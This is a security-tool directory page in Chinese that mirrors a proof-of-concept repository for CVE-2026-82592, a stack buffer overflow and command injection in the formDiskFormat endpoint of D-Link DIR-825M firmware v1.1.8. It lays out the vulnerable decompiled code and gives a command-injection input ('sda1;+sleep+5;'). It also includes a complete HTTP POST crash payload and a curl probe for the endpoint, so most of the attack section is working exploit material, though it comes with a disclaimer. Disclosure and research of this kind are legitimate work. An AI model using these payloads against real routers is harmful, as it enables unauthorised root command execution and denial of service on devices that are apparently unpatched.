Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82592 — D-Link DIR-825M 在 /boafrm/formDiskFormat 中栈缓冲区溢出与命令注入的概念验证漏洞利用,可在固件 v1.1.8 上以 root 权限实现远程代码执行。 | Kitploit
工具/GitHubGitHub/hackspeak/cve-2026-82592
物联网安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试硬件与物联网安全二进制利用
GitHubhackspeak/cve-2026-82592

CVE-2026-82592

D-Link DIR-825M 在 /boafrm/formDiskFormat 中栈缓冲区溢出与命令注入的概念验证漏洞利用,可在固件 v1.1.8 上以 root 权限实现远程代码执行。

查看仓库
112小时32分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

D-Link 路由器 DIR-825M - /boafrm/formDiskFormat 中的缓冲区溢出

漏洞详情

详细信息

字段值
厂商D-Link
产品D-Link DIR-825M(以及共享同一固件代码库的其他型号)
受影响版本固件 v1.1.8
漏洞类型基于栈的缓冲区溢出(CWE-121)、命令注入(CWE-78)
厂商主页https://www.dlink.com/

漏洞描述

在对路由器固件进行安全审查时,在 /boafrm/formDiskFormat 端点中发现了一个严重漏洞。

该漏洞位于处理分区格式化的 sub_46725C 函数中。该函数从 HTTP POST 请求中获取用户可控的 partition 参数。由于未对该参数进行任何事先的净化、验证或长度检查,程序执行了多项不安全操作:

  1. 它使用 sprintf 将参数格式化到一个小型局部栈缓冲区 v9 中(仅分配了 132 字节)。
  2. 它直接将构造的命令字符串传递给 system() 来执行系统工具。

攻击者可以通过向 partition 参数注入 shell 元字符(如 ;、& 或 |)来利用此漏洞,以 root 权限执行任意系统命令,或者通过传递超长字符串来触发栈缓冲区溢出并劫持控制流。

  • 漏洞位置:/boafrm/formDiskFormat(或类似的磁盘格式化处理端点)
  • 易受攻击的函数:sub_46725C

根本原因

该漏洞源于两个并发的编程缺陷:不安全的字符串格式化和在系统 shell 中直接执行未经验证的输入。

image0

1. 命令注入(CWE-78)

在 sub_46725C 内部,partition 参数被获取并存储在 v2 中:

root@kitploit:~
v2 = (const char *)sub_41351C(a1, "partition", "");

如果参数不为空,程序会立即构造一条卸载命令并执行它:

root@kitploit:~
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);

由于 v2 被直接嵌入到命令字符串中,且未对 ; 等字符进行净化,输入 sda1;+sleep+5; 将按以下方式执行:

root@kitploit:~
umount /dev/sda1; sleep 5; >/dev/null 2>&1

这将直接触发任意 shell 命令执行。

2. 基于栈的缓冲区溢出(CWE-121)

局部缓冲区 v9 在栈上声明,大小有限:

root@kitploit:~
char v9[132];

程序使用 sprintf 将用户输入复制到 v9 中:

root@kitploit:~
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);

由于 sprintf 不执行边界检查,长度超过约 90 字节的 partition 参数将越界写入 v9,覆盖栈帧,包括保存的帧指针和返回地址(MIPS/ARM 中的 $ra)。

影响

攻击者可以利用此漏洞实现以下后果:

  • 任意命令执行:以最高(root)权限在路由器上执行任意 shell 命令。
  • 拒绝服务(DoS):覆盖栈或破坏内存以使 Web 服务器守护进程崩溃,导致路由器的管理面板完全无法访问。

概念验证(PoC)

通过提供超大的 partition 参数,栈将被破坏,导致分段错误并使 Web 服务器守护进程崩溃。

root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive

partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

本地复现截图

  • 使用 firmae 搭建环境并通过 Burp Repeater 运行 PoC

image1

  • 结果:

image2


分发镜像说明(中文)

本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-82592 / D-Link DIR-825M(共享同一固件代码库的型号需一并排查)
  • 受影响版本:固件 v1.1.8
  • 类型:栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6(High)
  • 攻击面:Web 管理端磁盘格式化接口 POST /boafrm/formDiskFormat
  • 触发方式:向 partition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)
  • 利用结果:以 root 权限执行任意命令 / 使 Web 服务崩溃(DoS)
  • 修复状态:披露时厂商未公布补丁,请关注 D-Link 官方固件更新

核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。

环境与用法 / Requirements & Usage

  • 复现环境:FirmaE 固件仿真 + Burp Repeater(公开的是崩溃触发载荷,非完整 EXP)
  • 接口存在性检测:
root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
  • 复现请求(关键部分):
root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded

partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告作者:Robots10(公开 IoT 漏洞仓库 IoT_vlu,reports/Dlink/formDiskFormat/)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-82592
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-82592
  • D-Link 官网:https://www.dlink.com/
下载工具